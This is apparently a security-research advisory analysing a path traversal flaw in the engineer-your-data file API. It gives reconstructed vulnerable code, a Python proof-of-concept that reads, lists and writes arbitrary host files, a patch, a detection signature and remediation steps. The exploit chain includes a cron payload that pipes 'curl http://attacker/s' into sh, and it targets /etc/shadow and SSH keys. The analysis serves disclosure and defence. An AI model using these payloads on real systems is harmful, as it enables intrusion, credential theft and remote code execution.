home intel cve-2026-7214-engineer-your-data-path-traversal
CVE Analysis 2026-04-28 · 7 min read

CVE-2026-7214: Path Traversal in engineer-your-data File API

engineer-your-data ≤0.1.3 exposes unauthenticated file-system access via unsanitized WORKSPACE_PATH in four server endpoints. Remote attackers can read, write, and enumerate arbitrary host files.

#path-traversal#file-access#remote-code-execution#input-validation#directory-traversal
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7214 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7214HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7214 is a path traversal vulnerability in eghuzefa/engineer-your-data, a Python-based data engineering workspace server. Versions up to and including 0.1.3 expose four file-operation endpoints — read_file, write_file, list_files, and file_inf — that construct filesystem paths by joining an attacker-supplied argument directly against a server-side WORKSPACE_PATH base directory. No canonicalization, prefix enforcement, or traversal sequence stripping is applied at any point in the call chain. A remote, unauthenticated attacker can escape the workspace root and read or overwrite arbitrary files accessible to the server process.

Root cause: All four file endpoints pass the caller-controlled path argument directly to os.path.join() without resolving the result against the workspace root, allowing ../ sequences — or an absolute path — to silently override the intended base directory.

Affected Component

File: src/server.py
Package: engineer-your-data ≤ 0.1.3 (PyPI)
Endpoints: read_file, write_file, list_files, file_inf
Transport: HTTP (default Flask dev server, no auth middleware)
CVSS 3.1: 7.3 HIGH — network-reachable, low complexity, no privileges required, no user interaction

Root Cause Analysis

The server registers route handlers that accept a filename or directory path from the request body or query string, then hands it to Python's os.path.join(). The critical property that makes this dangerous: when the second argument to os.path.join() is an absolute path, Python silently discards the first argument entirely. When it is a relative path containing ../ sequences, the join resolves upward through the directory tree. Neither behavior is guarded against here.


# src/server.py  (reconstructed from CVE description, class/decorator names inferred)

import os
import flask
from flask import request, jsonify

WORKSPACE_PATH = os.environ.get("WORKSPACE_PATH", "/workspace")

app = flask.Flask(__name__)

# ------------------------------------------------------------------
# BUG: all four handlers share the same vulnerable path construction
# ------------------------------------------------------------------

def _resolve_path(user_supplied: str) -> str:
    # BUG: os.path.join() with an absolute user_supplied discards WORKSPACE_PATH
    # BUG: relative user_supplied containing "../" escapes the workspace root
    # No call to os.path.realpath(), no prefix check, no traversal stripping
    return os.path.join(WORKSPACE_PATH, user_supplied)  # BUG: unsafe join


@app.route("/read_file", methods=["POST"])
def read_file():
    body      = request.get_json()
    file_path = body.get("path", "")          # attacker-controlled
    resolved  = _resolve_path(file_path)      # BUG: no sanitization before this call
    with open(resolved, "rb") as fh:          # arbitrary file open
        data = fh.read()
    return jsonify({"content": data.decode("utf-8", errors="replace")})


@app.route("/write_file", methods=["POST"])
def write_file():
    body      = request.get_json()
    file_path = body.get("path", "")          # attacker-controlled
    content   = body.get("content", "")
    resolved  = _resolve_path(file_path)      # BUG: same vulnerable join
    with open(resolved, "w") as fh:           # arbitrary file write / create
        fh.write(content)
    return jsonify({"status": "ok"})


@app.route("/list_files", methods=["POST"])
def list_files():
    body      = request.get_json()
    dir_path  = body.get("path", "")          # attacker-controlled
    resolved  = _resolve_path(dir_path)       # BUG: same vulnerable join
    entries   = os.listdir(resolved)          # arbitrary directory listing
    return jsonify({"files": entries})


@app.route("/file_inf", methods=["POST"])
def file_inf():
    body      = request.get_json()
    file_path = body.get("path", "")          # attacker-controlled
    resolved  = _resolve_path(file_path)      # BUG: same vulnerable join
    stat      = os.stat(resolved)             # arbitrary file metadata
    return jsonify({
        "size":  stat.st_size,
        "mtime": stat.st_mtime,
        "mode":  oct(stat.st_mode),
    })

Python's documented behavior for os.path.join("/workspace", "/etc/passwd") returns "/etc/passwd" — the workspace prefix is entirely discarded. This makes the absolute-path variant of this attack require no ../ sequences at all, bypassing any naïve traversal-sequence filter that doesn't also enforce a resolved-path prefix check.

Exploitation Mechanics


EXPLOIT CHAIN — read_file (read /etc/shadow):

1. Stand up network access to the target server (default: http://target:5000)
   No authentication required — Flask dev server exposes routes directly.

2. Issue POST /read_file with absolute path payload:
      {"path": "/etc/shadow"}
   os.path.join("/workspace", "/etc/shadow") → "/etc/shadow"
   open("/etc/shadow", "rb") executes with server process UID.

3. Alternatively, use relative traversal for environments that block
   absolute paths with a shallow string check:
      {"path": "../../../../etc/shadow"}
   os.path.join("/workspace", "../../../../etc/shadow")
   → resolves to "/etc/shadow" after OS path normalization at open().

4. For write_file, drop a cron job or authorized_keys:
      POST /write_file
      {"path": "/etc/cron.d/pwn", "content": "* * * * * root curl http://attacker/s|sh\n"}
   File is created/overwritten with no permission check beyond OS-level access.

5. For list_files, enumerate the host filesystem:
      {"path": "/"}     → top-level directory listing
      {"path": "/root"} → root home directory

6. For file_inf, oracle for sensitive file existence:
      {"path": "/etc/kubernetes/admin.conf"}
   Non-zero response confirms file exists; ENOENT returns 500.

The following PoC confirms remote exploitation in a single HTTP request:


#!/usr/bin/env python3
# CVE-2026-7214 PoC — engineer-your-data path traversal
# CypherByte research

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"

def read_arbitrary(path: str) -> str:
    r = requests.post(f"{TARGET}/read_file", json={"path": path}, timeout=10)
    r.raise_for_status()
    return r.json().get("content", "")

def write_arbitrary(path: str, content: str) -> None:
    r = requests.post(f"{TARGET}/write_file",
                      json={"path": path, "content": content}, timeout=10)
    r.raise_for_status()

def list_arbitrary(path: str) -> list:
    r = requests.post(f"{TARGET}/list_files", json={"path": path}, timeout=10)
    r.raise_for_status()
    return r.json().get("files", [])

if __name__ == "__main__":
    # Absolute-path variant (no traversal sequences needed)
    print("[*] /etc/passwd via absolute path:")
    print(read_arbitrary("/etc/passwd"))

    # Relative traversal variant
    print("[*] /etc/passwd via traversal:")
    print(read_arbitrary("../../../../etc/passwd"))

    # Directory enumeration
    print("[*] / listing:")
    print(list_arbitrary("/"))

    # Write PoC — drops marker file outside workspace
    write_arbitrary("/tmp/CVE-2026-7214-pwned", "CypherByte\n")
    print("[+] Wrote /tmp/CVE-2026-7214-pwned")

Memory Layout

This is a logic vulnerability rather than a memory corruption bug; the relevant "layout" is the Python call stack and path string construction at the point of failure.


PYTHON CALL STACK AT VULNERABLE POINT:

  Flask request dispatch
    └─ read_file()                              [src/server.py]
         body      = {"path": "/etc/shadow"}
         file_path = "/etc/shadow"             ← attacker string
         │
         └─ _resolve_path("/etc/shadow")
              os.path.join(
                WORKSPACE_PATH,                 = "/workspace"
                "/etc/shadow"                   ← absolute → base DISCARDED
              )
              → returns "/etc/shadow"           ← workspace boundary broken
         │
         └─ open("/etc/shadow", "rb")          ← arbitrary file opened

PATH STRING STATES:
  WORKSPACE_PATH  : "/workspace"
  user input      : "/etc/shadow"          (absolute — kills base)
                  : "../../../../etc/shadow" (relative — walks past base)
  joined (unsafe) : "/etc/shadow"          (workspace prefix gone)
  joined (safe)   : BLOCKED — realpath check would catch both variants

EFFECTIVE SECURITY BOUNDARY: NONE
  - No call to os.path.realpath()
  - No startswith(WORKSPACE_PATH) enforcement
  - No traversal sequence stripping
  - No allowlist validation

Patch Analysis


# BEFORE (vulnerable — src/server.py ≤0.1.3):
def _resolve_path(user_supplied: str) -> str:
    return os.path.join(WORKSPACE_PATH, user_supplied)
    # os.path.join discards base when user_supplied is absolute
    # relative traversal sequences escape the workspace root


# AFTER (patched — recommended fix):
def _resolve_path(user_supplied: str) -> str:
    # Resolve symlinks and normalize all ".." sequences
    resolved = os.path.realpath(
        os.path.join(WORKSPACE_PATH, user_supplied)
    )
    # Enforce that the resolved path is still inside the workspace
    workspace_real = os.path.realpath(WORKSPACE_PATH)
    if not resolved.startswith(workspace_real + os.sep) \
       and resolved != workspace_real:
        raise PermissionError(
            f"Path traversal detected: {user_supplied!r} escapes workspace"
        )
    return resolved

The os.path.realpath() call collapses all ../ sequences and resolves symlinks before the prefix check is applied, closing both the relative-traversal and the symlink-escape variants simultaneously. The trailing os.sep in the startswith guard prevents a workspace at /workspace from inadvertently matching a sibling directory named /workspace-other.

Detection and Indicators

Network-level detection should alert on HTTP POST bodies to /read_file, /write_file, /list_files, or /file_inf where the path field contains ../, ..\\, or begins with / and does not share the configured workspace prefix.


SNORT / SURICATA SIGNATURE (conceptual):

alert http any any -> any any (
    msg:"CVE-2026-7214 engineer-your-data path traversal attempt";
    flow:established,to_server;
    http.uri;  content:"/read_file";
    http.request_body; content:"..";
    classtype:web-application-attack;
    sid:20267214; rev:1;
)

APPLICATION LOG INDICATORS:
  - HTTP 200 responses from /read_file for paths outside workspace
  - HTTP 500 responses from file endpoints with OSError tracebacks
    (indicates probing of non-existent paths)
  - Unexpected files appearing in /tmp, /etc/cron.d, ~/.ssh/

FILESYSTEM INDICATORS:
  - New files in /tmp owned by the server process user
  - Modification timestamps on /etc/passwd, authorized_keys,
    or /etc/cron.d/* matching server request timestamps

Remediation

Immediate: If engineer-your-data is deployed and exposed on a network interface, restrict access to localhost only via firewall or bind address until a patched release is available. The upstream project had not responded to the disclosure issue at time of publication.

Short-term (operator workaround): Place a reverse proxy (nginx, Caddy) in front of the server with a request body inspection rule that rejects any path value containing ../ or beginning with / outside the known workspace prefix. This is defense-in-depth only — the application-level fix is mandatory.

Long-term (developer fix): Apply the os.path.realpath() + startswith(workspace_real + os.sep) pattern shown in the Patch Analysis section to all four endpoints. Add a unit test suite that asserts traversal payloads raise PermissionError before a release cut is made. Consider adding HTTP authentication middleware; the server currently has no access control layer whatsoever, meaning path traversal is only one of several exposure categories.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →